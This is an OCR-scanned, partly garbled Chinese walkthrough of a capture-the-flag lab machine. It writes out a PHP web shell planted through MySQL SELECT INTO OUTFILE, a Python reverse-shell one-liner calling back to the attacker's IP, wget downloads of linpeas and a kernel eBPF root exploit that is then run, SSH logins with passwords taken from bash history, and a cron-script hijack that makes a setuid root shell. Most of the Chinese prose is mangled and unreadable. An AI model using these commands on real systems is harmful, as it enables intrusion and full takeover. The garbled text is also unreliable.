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€ MySQL } SQL ;A

MySQL SHEE

MySQLA{R B LA{$E FASELECT...INTO OUTFILEIE 6] S5 B M S H HURZIS A S+,

{#F SELECT ... INTO OUTFILE &0 S+ 3B
BATFSL R FAIS 2B R runoob_tbl #3E 542l /tmp/runoob.txt S {Hh:

mysql> SELECT * FROM runoob_tbl
—> INTO OQOUTFILE '/tmp/runoob.txt"';

1) INTO OUT 5 Ashell.php

mysgl -uroot -pplbkac -h 192.168.40.152
select "<?php echo shell exec($ GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.p
hp";

® ~/Desktop

192.168.40.152
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 7

Server version: 5.7.33-0ubuntu®.16.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type "help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/ww/https/blog

hlog/wn-content/uploads/shell.php”;
Query OK, 1 row affected (0.001 sec)

A ZIFMHINTO OUTHHEB N T — R I A4, H 3% L !

2) BFERBBEARY

https://192.168.40.152:12380/blogblog/wp-content/uploads/



B > C @ 192.168.40.152 e @

o\ Kali Linux X Kali Training X Kali Tools X Kali Forums <« KaliDocs e\ NetHunter Offensive Security

Index of /blogblog/wp-content/uploads

Name Last modified Size Description

& Parent Directory :

11.gif 2022-04-06 02:26 771
193104749.jpeg 2022-04-04 16:54 3.0K
[#) msf.php 2022-04-06 02:50 33K
@ php-reverse-shell.php 2022-04-04 18:17 5.4K
@ shell.php 2022-04-06 02:55 39
[ﬁ test.php 2022-04-06 02:38 774
@ webacoo.php 2022-04-06 02:43 576

Apache/2.4.18 (Ubuntu) Server at 192.168.40.152 Port 12380

HABI!
3) URL#{7 cmddir &

https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=id

— C o © & 192.168.40.152 e @

o\ Kali Linux & Kali Training & Kali Tools & Kali Forums <« KaliDocs ¢\ NetHunter Offensive Security

uid=33(www-data) gid=33(www-data) groups=33(www-data)

HEE—AERIIEN, SR EIAT T @ RE RS54 5 B ELE !
2. —H)ikf R &k #shell

1) &BF RS LLHPython5 A\ —4)if

https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=which%2@python



i c 0 0 A& 192.168.40.152

o Kali Linux % Kali Training % Kali Tools % Kali Forums <« KaliDocs e\ NetHunter Offensive Security MSF

/usr/bin/python

FEpythontiisk | EEFIA !
2) JFJa nclilr

nc -lvp 8887

~/Desktop

listening on [any] 8887

Z HukaliFF )5 4 W !

3) f£cmd URLE A Python—#A]iE, &3 shell®] 4 Hikali

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF INET,socket.SOCK STREAM);s.connect(("192.168.40
.149",8887));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-

i']);°



< X 2.168.40.152:123 = ' [[\SEn

o Kali Linux & Kali Training ™ Kali Tools ¥ Kali Forums « Kali Docs e MetHunter Offensive Security MSFU & Exploit-DB

fusr/bin/python

= root@kali: ~/Desktop

Xt mfF RiE ZEF EHE

Server version: 5.7.33-0Oubuntu®.16.04.1 (Ubuntu)

Copyright (c) 2800, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;’ or '\h' for help. Type '\c' to clear the cirrent input statement.

MysQL [(none)]> select "<?php echo shell_exec($_GEF_'cmd’]);?>" into outfile "/var/www/https/blog
blog/wp-content/uploads/shell.php”;

Query OK, 1 row affected (0.001 sec)

MysQL [(none)]l> exit;
Bye

2 ~/Desktop

listening on T
connect to [192. 4 rom localhost [192.168.48.152]
/bin/sh: @: ca E y; job control turned off
$ ifconfig
in
up
RX : t8332 '] = dropped:19
TX 6 dropped:@ o
[ofs]
RX b 5 [ MB) TX bytes:1484975
Interrupt:19 Base address:@x; 4]

RET, KiSshell

. AME B HEE
HEIL B L AR BIRS AURR, T 9 R TR | KR linpeas B A HEAT HRAT 29 !

[AHRB AR ]

1. W42 45 3] IR 4R

2. BFHE (AR
3. ZAEK] AWM

4. 10043sre3Cty

5. W WZAHRE

6. Cctf KFRZ # i H i@
7. 2T HA

8. RIS

1. LinpeasXf k1%

FF & Python httpfiR %%, b A&linpeas.shifl A SEHLEAT(S B4R

python -m SimpleHTTPServer 8082

wget http://192.168.40.149:8082/1linpeas.sh


https://docs.qq.com/doc/DVExrc2JqUU1DWWd5

www-datagred: /tmp$ wget http://192.168.40.149:8082/1linpeas.sh shell.sh
--2022-04-09 03:28:40-- http://192.108.40.149:8082/L1npeas.sh

Connecting to 192.168.40.149:8082... connected. erminator.des

HTTP request sent, awaiting response... 200 OK thinkPHPBatchPoc.py
Length: 326636 (319K) [text/x-sh] url.txt

Saving to: 'linpeas.sh

linpeas.sh %[ ] linpeas.sh
318.98K --.-KB/s 1n 0.0 b ~/Dackton
02s python -m SimpleHTTPServer 8082
SErving HII¥ on ¥.V.V.0 port sus: ...
2022-04-09 03:28:40 (177 MB/s) - 'linpeas.sh' saved [326636/326 192.168.40.152 - - [08/Apr/2022 22:28:40] "GET /linpea
636] s.sh HTTP/1.1" 200 -

vﬁ&-ddtdﬂltd:fths.‘

T bA% !
2, WABUFHAT A

chmod +x linpeas.sh
/linpeas.sh

wwwi-datagred: /tmp$ chmod +x linpeas.sh
www-datagred: /tmp$ ./linpeas.sh

[ .
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1D RARERER

Infor tion

[+] Operative systenm

https://book.hacktricks.xyz/linux-unix/privilege-escalationf#tkernel-exploits
Linux version [JENEFFEFESE (builddglgwe1-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu
SMP Mon Apr 18 18:34:49 UTC 2016
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenlial

A AR AL IRA

2) KRB E BB

(X:1004:1004::
1%:1012:1012::/home/CCeaser:/bin/dash
1X:1014:1014: : /home/CJoo: /bin/bash
1X:1003:1003: : /home/DSwanger: /bin/bash
1X:1020:1020: : /home/Drew: /bin/bash
1x:1002:1002: : /home/ETollefson: /bin/bash
1%:1007:1007:: fhoma/1Bara: /hin/hach
:%:1013:1013::/home/JKanode: /bin/bash
tX:1017:1017::/home/JL1pps:/bin/sh
:%X:1008:1008: : /home/LSolum: /bin/bash
1X:1006:1006: : /home/MBassin:/bin/bash
:%x:1010:1010: : /home/MFrei: /bin/bash
1%:1027:1027: : /home/NATHAN: /bin/bash
1%:1001:1001: : /home/RNunemaker: /bin/bash
1X:1022:1022: : /home/SHAY: /bin/bash
1X:1005:1005: : /home/SHayslett:/bin/bash
:x:1011:1011:: /home/SStroud: /bin/bash
1%:1019:1019: : /home/Sam: /bin/zsh
1x:1023:1023: : /home/Taylor:/bin/sh
1x:1029:1029: : /home/elly:/bin/bash
:x:1018:1018: : /home/jamie: /bin/sh
1X:1021:1021::/home/jess:/bin/bash
1X:1025:1025: : /home/kai: /bin/sh
1%:1024:1024: : /home/mel: /bin/bash
:x:1000:1000:Peter, , , : /home/peter:/bin/zsh
:X:0:0:root:/root:/bin/zsh
1X:1026:1026: :/home/zoe: /bin/bash

[+] A1l users & groups

uid=0 ) gid=0 groups=0

uid=1(daemon[@m) gid=1(daemon[@m) groups=1(daemon[em)

uid=18( ) gid=10( ) groups=10( )

uid=100( )] gid:'lﬂ‘){ il grn||.n*::1n‘)lt )}

uid=1000( ) gid=1000( ) groups=1000( )4 ,24(cdrom), 27 ,30(dip),46(plugdev),110 ),113(padm
in),114(sambashare)

uid=1001( ) gid=1001( ) groups=1001( )

JKanode:x:1013:1013::/home/JKanode:/bin/bash

peter:x:1000:1000:Peter,,, :/home/peter:/bin/zsh

uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(1xd),113(1lp
admin),114(sambashare)

peter ] /7] 7| F sudo@ A !

3) KIEE RS E




[+] Searchil jordpr
/var/wwi/https/blogblog/wp-config.php

ZHIBLERBIMySQLIK 7 #55 ! A B2 R 2/ !

4) RIA 5 Ash3cf

A 2R 5 Ash3C i, IR A 3R AL !
A A=

1. WERR-FE1

D kalif#@EZMAEGEE, REFERT
ERMR A :

~/Desktop
Linux Kernel &4.4.X

Path

solar a

( mn
$.0 UDLEV
0 al Denial of
tion

- 'mg_notify: ) t()' Local Privil
- BlueTooth

Local Privile
L ial of ic
floppy' KASLR Addr
_read_inline_data(
ble Free
04.4) - Local Privilege Escalation

/ _offset’ al Privilege Escal

ocal Privile on (KASL

Privil

A LAF FHlinux/local/39772 txt !

2) 39772F|H



TEREAHR:

cp /usr/share/exploi exploits/linux/local/39772.txt .

® ~/Desktop
linux/local/ Ltxt
/usr/share/exploitdb/ /linux/local/3

~/Desktop

ploitd xploi

~/Desktop

jav
firefox-esr.desktop

THE3I7720TF) F -

~/Desktop

4.4,
“l.uwprlvl
unprivileged
The condition

When an eBPF program is loaded using
function that to

replace_map_fd_with_map_ptr

map file
This 1s done as

.Chromium

when the CONFIG_BPF
_bpf _disat
an use the bpf(
fulfilled 1in

es the supplied

up pointers the corr

for pseudo eBPF instructions

which

detail?ic

1s set and the
- explicitly t to 1 at runtir
to load eBPF socket filter pr

G_LOAD, ...), the first
instructions is
¢s f ictions that reference
sponding map files.

that acc map FDs and

* replace them with actual map pointers

*/

static int repla p_fd with map _ptr(struct

4

struct bpf_insn *insn
1Nt 1nsn_cnt = env—=pr«

ink 1, I;

ifier_env xe

env—prog—insnsi;

g—len;



access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh

user@host:~/ebpf_mapfd_doubleput$ ./doubleput

starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <60 seconds.

suid file detected, launching rootshell ...

we have root privs now ...

root@host:~/ebpf_mapfd_doubleput# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(1padmin),128(sambashare),999(vboxsf)
000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070elaa73f25fb2e4c7

Pranf nf Conncent:* httns: //hugs _chromium _nrog/n/nrniect-z7zern/issues/attacrhment?aid=2312552

Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

- ~/Nacktan

P&~ 7% Blexploit-DB T #39772.zip 3044 !
3) wgetT#:39772.zip

proxychains wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

® ~/Desktop
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

\JlU‘\)‘\.II.‘L-\.}j L\J|I’AE‘, |’41t‘ I’UHI\\I. f‘.‘l.\.,}JIU&‘,‘L‘I\‘JH)H.\UII{
proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
—2022-04-05 22:50:07— https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
EEMFTEH github.com (github.com) ... 224.0.0.1
IE#EE#E github.com (github.com)|224.0.0.1|:443 ... [proxychains] Strict chain ... 192.168.4.228:10808 ... github.com:443

HTTP K, E&EFEEM ... 302 Found
https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip [ E A URL]
22:50:09— Wllps:"Kraw.gllw:busercontont.confoffcn31ve—se(urltv/ex0101ldb-hlw—spl01tsVmaatcr/bln-5p101l5l30772.21
TMH X ¥ raw.githubusercontent.com (raw.githubusercontent.com) ... 224.0.0.2
raw.githubusercontent.com (raw.githubusercontent.com)|224.0.0.2|:443
raw.githubusercontent.com:443 ... OK

[proxychains] Strict chain

HTTP @K, FEFHFE K ... 200 0K
7025 (6.9K) [application/zip]
“39772.zip"

i ok (1 CU 23 A
At o0 RE S AR

w
0
~
~

100%[ 1 6.86K —--KB/s F B} @s

22:50:10 (25.5 MB/s) - ER#T “39772.zip" [7025/7025])

BT E ! WRATHEAETR!
4) JriEhttpik %, LAEBIHE

python -m SimpleHTTPServer 8085
wget http://10.211.55.19:8085/39772.zip




www -datagred: /var/wwmi/https/blogblog/wp-co
cd /tmp

w-dat d:/t |
{?J atagred: /tmp$ 1s ] ~/Desktop

SimpleHTTPServer 8085
Serving HTTP on 0.0.0.0 port B8@85
192.168.40.152 - - [05/Apr/2022 22:55:21

vmware-root

ww-datag@red: /tmp$ uname -a
uname -a »
Linux red.initech 4.4.0-21-generic #37-Ubu: =

/Linux

waw-datagred: /tmp$ wget http://192.168.40.149:8085/39772.zip
wget http://192.168.40.149:8085/39772.zip

—2022-04-06 03:55:21— http://192.168.40.149:8085/39772.zip
Connecting to 192.168.40.149:8085 ... connected.

HTTP request sent, awaiting response ... 200 0K

Length: 7025 (6.9K) [application/zip]

Saving to: '39772.zip’

39772.zip 100%[ 6.86K —+—KB/s in 0s

2022-04-06 ©3:55:21 (32.6 MB/s) - '39772.zip' saved [7025/7025]

wa —Adatamread: /tmnd ]

I FwgetidE 2 4 1 ) http ik 55 B D A% 304 !

5) iR H

fRE39772. zip Lt
F|39772HFF
tar xvf exploit.tar fi@Eexploit.tar, %K Blebpf mapfd_doubleput_exploitH %
cd ebpf_mapfd_doubleput_exploit FiZHZT, KIlcompile.shfF
chmod +x compile.sh 45 shITAFIRAR

ww-data@red:/tmp$ unzip 39772.z1p
unzip 39772.z1p
Archive: 39772.zip

creating: 39772/

inflating: 39772/.DS_Store

creating: __ MACOSX/

creating: _ MACOSX/39772/

inflating: __ MACOSX/39772/._.DS_Store

inflating: 39772/crasher.tar

inflating: MACOSX/39772/. crasher.tar

inflating: 39772/exploit.tar

inflating: _ MAGOSX,//22772/._exploit.tar
ww-datapred: /tmpt 1s
ls
39772 39772.z1p MACOSX vmware-root
ww-data@red: /tmp$ cd 39772
cd 39772
www-datagred: /tmp/39772% tar xvf exploit.tar
tar xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
www-datagred: /tmp/39772% cd ebpf_mapfd_doubleput_exploit
cd ebpf _mapfd_doubleput_exploit
waw-datadred: /tmp/39772/ebpf_mapfd_doubleput_exploit$ chmod +x
chmod +x compile.s
chmod: cannot access ‘compile.s': No such file or directory

B Zipff R TT 4R FI A !

"GET /39772.zip HTTP/1.1"

compile.s

200




6) AT LRI
./compile.sh AT shfF

1s BE, KIAEHgccHiFN . X
./doubleput PAT .

LAWY

compile.s

pointer to integer of diff t size [-Wpointer-to-int-

(__aligned_u64) insns,

warning: cast from pointer to er of different size [-Wpointer-to-int-cast
(__aligned_u6
pf_mapfd_doubleput_e
( hello hel
WA - F a2 ( ) f doubleput_

cat pile. st p

gt/

HTTP/1

o hello hello.c -Wall -stc "pk fuse -—cflags -——1libs
doubleput doubl

( yubleput

.l ubleput

starting writev
noo

a root shell in <60

2/ebpf_mapfd_doubleput_exploit# id

wi-data)
XpLO1TH i

FT) Z 2 rootA fR !

2. SSH-sudo® F W& IR -7 2
M Hsshfd BERTTEERRFR!

1) K sshis B

grep LA TERATBEHREMTARKK M, WRRAFEAHHNEFSHRERTEARER, Tk grep BT THTE
AR TR K. ENREEMCABIR, SRS TR - W grep 1842 MR HERIA B& S BUEHE .

grep -rn "ssh"  ---tEELUFTHFX FHAESshE EHNE




JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost

RI2AF P #

FiF1: peter, #RS: JZQuyINS
Fi/2: JKanode #1%: thisimypassword

X i A K 5 g 2 i e

2) ssh&FH P

JKanode i )7 & M 24

ssh JKanode@192.168.40.152
thisimypassword




® ~/Desktop
JKanode@192.168.40.152 148 2

The authenticity of host '192.168.40.152 (192.168.40.152)' can't be establi
shed.

ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
wWarning: Permanently added '192.168.40.152' (ECDSA) to the list of known ho

sts.
Barry, don't !:E:}I"gl‘:‘t to put a message nere

JKanode192.168.40.152" s password:
Welcome back!

ograms included with the Ubuntu system are free software;
exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

IKanode ed: $ 1d
uid=1013(JKanode) gid=1013(JKanode) groups=1013(JKanode)

1 Y . -, L

B afER!

peterf 7 & el

ssh peter@192.168.40.152
JZQuyIN5



the configuration recommended
nd exit (you will need to edit
ed ).

gld=1000

BFiHE R Zzshifishell! , 3£ H AT PAsudo$zil

3) sudoiil

Fi A5 B R Blpeter fl 2 2 7Esudo2 BRI, BB sudo 5HIBUR :

red% 1d

uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(1xd),113(1lpadmin),114(samb
ashare)

red% sudo -1

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for peter:
Matching Defaults entries for peter on red:
lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the foll=~wliig commands on red:
(ALL : ALL) ALL




sudo -1

User peter may run the following commands on red:

(ALL : ALL) ALL

HE S5 HBRAALLE ER ! EiEsudod@il:

=1000(peter), 4(ad 24(cdrom),27(sudo),3@(dip),46(plugdev),110(1xd),113(1lpadmin),114(samb

trust you have rece the usual lecture from the local
Administrator. It ust S 1 0 1 three thin

secure_path=/usr/local/s 24 /local/bin\

User peter may run the following commands on red:
(ALL : ALL) ALL

red¥ sudo s

uid=0(root) gid=0( root) groups=0(

A IhR A root!
3. FRMEE+ SR 73

1E N DA M2 I B0 R R BT 5 N\ shsC AR T ) -

[+] .sh files in path

[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path

You can write script: /usr/local/sbin on-logrotate.sh

1) #E & Alogrotatet % i L 15 B
FFfind & B ZE %S B



® ~/Desktop
JKanode®192.168.40.152

Barry, don't forget to put a mess

JKanode@192.168.40.152"'s password:
Nelcome back!

wodeared:~$ find / -name logrotatex ‘dev/null
llb 'logrotate
/info/logrotate.preinst
] 'logrotate.postrm
info/logrotate.conffiles
1nf0a1u irotate.list
t2.md5sums

pgrotate.conf
frrnn.d’lo Iutﬂtt

Logrotate.py
3ﬂr9pmrtfza gins/__pycache__/logrotate.cpython-35.pyc
‘bug/logrotate
pgrotate
doc/rsync/examples/ rotate.conf.rsync
/sbin/logrotate

i -

& Bl/etc/cron.d/logrotate SC 44 !

2) #F letc/cron.d/logrotates 4

:~$ cat /et 1 pgrotate
root /usr/local/sbin/cron-logrotate.sh

5 1

cat /etc/cron.d/logrotate

*/5 * ok * *  poot /Jusr/local/s -logrotate.sh

7] & 248 .5 #1247 — Keron-logrotate.sh!
3) 5 Adashftig

"cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-1q
grotate.sh

cat /usr/local/sbin/cron-logrotate.sh



loit; chmod u+s /tmp/exploit;chmod root:root /tmp/ex > d /local/sbin/cron-1o

/fusr/local/sbin/cron-logrotate.sh

need to-dn something hout _this

ploit; chmod u+s / exploit;chmod root:root /tmp/exploit
tmp

exploit

HAEEARBEARR, EildashBltmp B R T HBR FHER! Etmp HF T AERK T exploitA] $14T 30 !
4) izfTexploit, 3K7E rooti [}

/tmp/exploit -p

ENE N fdash, F-p3kEtroot

xploit -p

wode) gid=1013(JKanode) euld=0(root) groups=1013(JKanode

K1 roottL [ ! FKfFflag:

cd /root
cat fla

# cd /root
##t 1s
fix-wordpre ag.tx 1ssue python.sh 5.5Q

: i

F5flagfs B!
Ju. FRBREDET

smbclient® £ 3t Z /15



Linux smbclient#ir 7] fEBLSMB/CIF S IR 55 22 i F /2 S 725 o
SMBECIFS ARG EEME N, % H FWindows95/98/NTZ & 45, smbclient(samba client) I ikLinux % 277 BXWindows & £t i 4
ZHRIE.

e ~/Desktop
//192.168.40.152
Enter WORKGROUP\root's password:

Sharename Type Comment

print$ Disk Printer Drivers

kathy Disk Fred, What are we doing here?

tmp Disk All temporary files sh d be stored here

IPC% IPC IPC Service (red server (Samba, Ubuntu))
SMB1 disabled — no workgroup available

smbclient -L //192.168.40.
-L EonBRSSER BT 4 2 R Y

2 1 B SnkathyFltmp & FF 8 !

1) B2 0HE

% B kathy L % -

smbclient ///kathy -I 192.168.48.152 -N

-I<IPHhEE> 48RS 2SI TP AL
-N 7B i) 8 2575

cd kathy_stuff
get todo-list.txt

get wordpress-4.tar.gz



~/Desktop
cathy 192.1
a list of possible commands.

D @ Jun
@ Jun ¢
Jun C [ i
n Junii5E1L

8 blocks available
sun Jun
Fri Jun
Sun Jun
ilable

(8.9 KiloBy

[Z T - R

Sun Jun
Fri Jun
Sun Jun

blocks
ftpd.c

rdpress-& g
dpress-4.tar

BT A S RIS CE B E R T
BEBtmpX K
BERmpIXHE R, TFEIFIsE A

smbclient ///tmp -I 192.168.40.152 -N
get 1s

~/Desktop
[/ tmp 192.168.40.152
help" to get a list of possible commands.

>

@ Tue Apr 21:50:07 2022
Mon Jun 6 . 56 2016
Sun Jun :32:58 2016

i Ay R R R B B AR T !

2) BEXHER

7.4 KiloByte




~/Desktop

t 4.0K Jun
@ Jun
Jun

"gth{rg important for Initech, Kathy

~/Desktop

RO FRAN SIS, B BB T T A
+. B4

B RS, AT T — SO AT MBEARFR, BT MME BRER R B &, %337 EE ST,
Blinnmap4:is 015 B82S . FTP{E B2, Sambafs B, B Mif#sshfs BAEE . nofs BA2E666%; 1. 25123803 115
BtgE. Wpscanfs BYgE. 39646 expFIH . Mysqis BMEE. John® /1Hif#. php-webshel St EAEFI A . weevely st EAEF]
F . webacoo Xt EAEFIF . Msfconsole 3t/ 4% _EZkwebshell. mysql INTO OUTXC#E A& kGRS 2% Linpeasfs BM25. W
BRI SSH-sudoBF NI THRIMES+7] 5 XUHRIESE, &EKENGRERRIEER—E! RILE B KB ERAM
B!

HERFERALZERR, RAEMNZLZERZAERLZE!
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